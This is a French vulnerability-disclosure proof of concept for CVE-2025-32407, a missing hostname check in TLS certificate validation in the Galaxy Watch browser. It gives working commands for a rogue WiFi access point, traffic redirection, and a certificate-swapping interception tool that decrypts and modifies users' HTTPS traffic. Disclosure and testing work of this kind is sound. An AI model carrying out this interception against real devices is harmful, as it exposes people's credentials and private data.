
CVE-2025-32407 PoC
Preuve de concept pour CVE-2025-32407 : une mauvaise configuration de la validation des certificats TLS de l'application Samsung Galaxy Watch "Samsung Internet for Galaxy Watch" version 5.0.9.
L'application Galaxy Watch "Samsung Internet for Galaxy Watch" version 5.0.9, disponible jusqu'à la Samsung Galaxy Watch 3, ne valide pas correctement les certificats TLS, permettant à un attaquant d'usurper n'importe quel site Web visité par l'utilisateur. Il s'agit d'une mauvaise configuration critique dans la manière dont le navigateur valide l'identité du serveur. Cela annule l'utilisation de HTTPS comme canal sécurisé, permettant des attaques de type Man-in-the-Middle, le vol d'informations sensibles ou la modification du trafic entrant et sortant.
Dans ce cas particulier, le navigateur ne vérifie pas que le domaine du certificat correspond au nom de domaine du site Web. Cela signifie qu'il acceptera tout certificat TLS, émis pour n'importe quel domaine arbitraire, tant qu'il est signé par une Autorité de Certification de confiance. Un attaquant pourrait alors obtenir un certificat gratuit pour un domaine qu'il contrôle, et avec celui-ci intercepter toutes les connexions TLS générées par l'application.
Ce test a été réalisé avec une Samsung Galaxy Watch 3 et la dernière version de "Samsung Internet for Galaxy Watch" (5.0.9). Veuillez noter que cet appareil n'est plus pris en charge.

Pour faciliter l'exploitation, j'ai développé un outil qui intercepte dynamiquement les communications TLS et génère des certificats TLS contrôlés par moi, ce qui me permet de déchiffrer et de manipuler les données entrantes et sortantes : https://github.com/diegovargasj/uncertipy. Un certificat TLS valide est nécessaire, avec sa clé, signé par une AC réelle. Cela peut être fait facilement et gratuitement avec l'API Let's Encrypt et un domaine. Ils seront stockés respectivement dans /path/to/cert.pem et /path/to/key.pem.
Il existe plusieurs façons d'intercepter les communications de la montre, comme manipuler les réponses DNS ou la connecter à un point d'accès WiFi créé à cet effet. Nous choisirons cette dernière méthode, en utilisant un ordinateur avec 2 interfaces réseau : wlan0 pour accéder à Internet, et wlan1 pour déployer le point d'accès WiFi.
J'utiliserai eaphammer (https://github.com/s0lst1c3/eaphammer) pour déployer le point d'accès WiFi, mais vous pouvez utiliser celui que vous préférez.
sudo ./eaphammer --auth wpa-psk --wpa-passphrase MyPassword --interface wlan1 --essid WLAB
Maintenant, attribuez une adresse IP à l'interface :
sudo ip addr add 10.0.0.1/24 dev wlan1
Redirigez le trafic vers le port local 9900 :
sudo iptables -A INPUT -i wlan1 -j ACCEPT
sudo iptables -t nat -A PREROUTING -i wlan1 -p tcp -m tcp -j REDIRECT --to-ports 9900
sudo iptables -t nat -A POSTROUTING -o wlan0 -j MASQUERADE
Et activez DHCP et DNS :
sudo dnsmasq --no-daemon --interface wlan1 --dhcp-range=10.0.0.100,10.0.0.200 --log-dhcp --log-queries --bind-interfaces -C /dev/null
Enfin, lancez uncertipy pour intercepter le trafic TLS sur le port 9900. Ce trafic sera redirigé vers un proxy HTTP sur le port 8080, pour journalisation :
python3 uncertipy.py -a 0.0.0.0 -p 9900 -c /path/to/cert.pem -k /path/to/key.pem -m replaced_key -u 127.0.0.1:8080
Maintenant, connectez la montre au point d'accès WiFi, ouvrez l'application et naviguez vers n'importe quel site Web HTTPS.


L'outil uncertipy notifiera des interceptions TLS.

Le proxy HTTP commencera à intercepter les requêtes, qui peuvent contenir des informations sensibles. De plus, nous pouvons profiter des fonctionnalités du proxy pour modifier les requêtes entrantes ou sortantes.

L'application devrait fonctionner normalement, affichant le contenu du site Web.
